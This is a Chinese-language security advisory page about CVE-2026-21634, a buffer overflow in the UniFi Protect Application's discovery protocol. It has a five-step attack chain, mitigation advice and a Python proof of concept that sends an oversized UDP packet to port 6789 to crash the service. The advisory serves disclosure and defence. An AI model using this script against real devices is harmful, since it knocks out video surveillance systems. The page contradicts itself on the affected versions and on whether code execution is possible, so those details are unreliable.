IPBUF安全漏洞报告
English
CVE-2026-21634 CVSS 6.5 中危

CVE-2026-21634: UniFi Protect Application发现协议缓冲区溢出漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2026-21634
漏洞类型
缓冲区溢出
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
UniFi Protect Application

相关标签

缓冲区溢出UniFi ProtectUbiquiti发现协议DoS邻接网络攻击网络摄像头NVRCVE-2026-21634

漏洞概述

CVE-2026-21634是Ubiquiti UniFi Protect Application中发现的一个中等严重性安全漏洞。该漏洞存在于UniFi Protect Application的发现协议中,允许恶意攻击者通过邻接网络发送特制的数据包,触发缓冲区溢出条件,从而导致应用程序异常重启。根据CVSS 3.1评分6.5(中危),该漏洞具有较高的可用性影响(高),但不需要任何认证或用户交互即可被利用。攻击者只需处于目标设备的邻接网络位置,即可发起攻击,无需特殊权限或先决条件。此漏洞影响UniFi Protect Application 6.1.79及更早版本,可能对网络视频监控系统(NVR)的稳定性和可用性造成严重影响。

技术细节

该漏洞属于传统缓冲区溢出类型,存在于UniFi Protect Application的发现协议(Discovery Protocol)实现中。发现协议用于在本地网络中自动识别和发现UniFi Protect设备,攻击者可以利用此协议发送超长的畸形数据包。当应用程序处理这些特制数据包时,没有正确验证输入数据的长度,导致缓冲区边界检查失败。攻击者构造包含超长字段的数据包,触发栈或堆缓冲区溢出,覆盖关键内存区域和函数返回地址。成功利用此漏洞可导致应用程序崩溃或执行任意代码。由于发现协议在设计时假设网络中的设备都是可信的,缺乏足够的输入验证和边界检查,使得攻击者可以在不需要任何认证的情况下发起攻击。攻击者需要处于与目标设备相同的网络广播域(邻接网络),可以通过ARP欺骗或中间人攻击进一步扩大攻击面。

攻击链分析

STEP 1
步骤1
攻击者获得与目标设备相同的邻接网络访问权限,可以通过ARP欺骗或直接连接到网络实现
STEP 2
步骤2
攻击者识别目标UniFi Protect Application设备,扫描网络发现UDP端口6789上的发现协议服务
STEP 3
步骤3
攻击者构造包含超长字段的畸形发现协议数据包,超出应用程序预期的缓冲区大小
STEP 4
步骤4
通过UDP协议向目标设备发送特制的数据包,触发发现协议处理逻辑中的缓冲区溢出
STEP 5
步骤5
缓冲区溢出导致应用程序内存损坏,触发崩溃并自动重启,造成服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-21634 PoC - UniFi Protect Application Discovery Protocol Buffer Overflow This PoC demonstrates sending a malformed discovery packet to trigger the overflow. For authorized security testing only. """ import socket import struct import sys def create_malformed_discovery_packet(): """Create a malformed discovery packet with oversized payload""" # Discovery protocol header header = b'\x01\x00' # Protocol version packet_type = b'\x01\x00' # Discovery request type # Create oversized payload to trigger buffer overflow # The discovery protocol expects limited field lengths oversized_field = b'A' * 10000 # 10KB payload (exceeds expected buffer size) # Construct the malformed packet packet = header + packet_type packet += struct.pack('>I', len(oversized_field)) # Length field packet += oversized_field return packet def send_exploit(target_ip, target_port=6789): """Send the malformed packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) payload = create_malformed_discovery_packet() try: print(f"[*] Sending malformed discovery packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") print(f"[*] Payload size: {len(payload)} bytes") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-21634-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

影响范围

UniFi Protect Application < 6.1.79

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 使用网络防火墙限制对UDP端口6789的访问,仅允许受信任的IP地址通信;2) 启用UniFi Protect的自动重启保护机制;3) 监控网络流量,识别和阻止异常的发现协议数据包;4) 考虑暂时禁用非必要的发现功能。但最有效的缓解措施仍然是尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表